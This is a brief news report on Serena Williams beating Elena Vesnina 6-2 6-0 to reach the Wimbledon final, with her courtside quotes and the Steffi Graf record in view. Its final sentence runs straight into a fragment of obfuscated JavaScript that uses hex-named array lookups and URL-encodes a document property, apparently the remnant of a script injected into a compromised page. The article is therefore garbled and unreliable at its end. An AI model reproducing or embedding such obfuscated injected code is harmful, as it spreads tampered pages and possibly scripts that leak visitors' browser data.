Serena eases past Vesnina to reach Wimbledon final

Number one seed Serena Williams defeated Russian Elena Vesnina in straight sets of 6-2 6-0 to reach the finals at Wimbledon on Thursday.

The defending champion played an attacking game from the very start to finish the match in less than an hour on the Centre Court.

If Venus Williams manages to win in the second semi final against Angelique Kerber, it will be the ninth Grand slam final where the Williams sisters face off against each other.

“It’s never easy out there and every point you have to fight for,” the 34-year-old, who lost three points on serve, said in a courtside interview.

“It’s weird, I can’t believe I’m in the finals again. I’m zero and two for (grand slam finals) this year so I want to get at least one.”

Victory on Saturday would see the world number one draw level with Steffi Graf’s professional era record of 22 grand slam titles. ])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
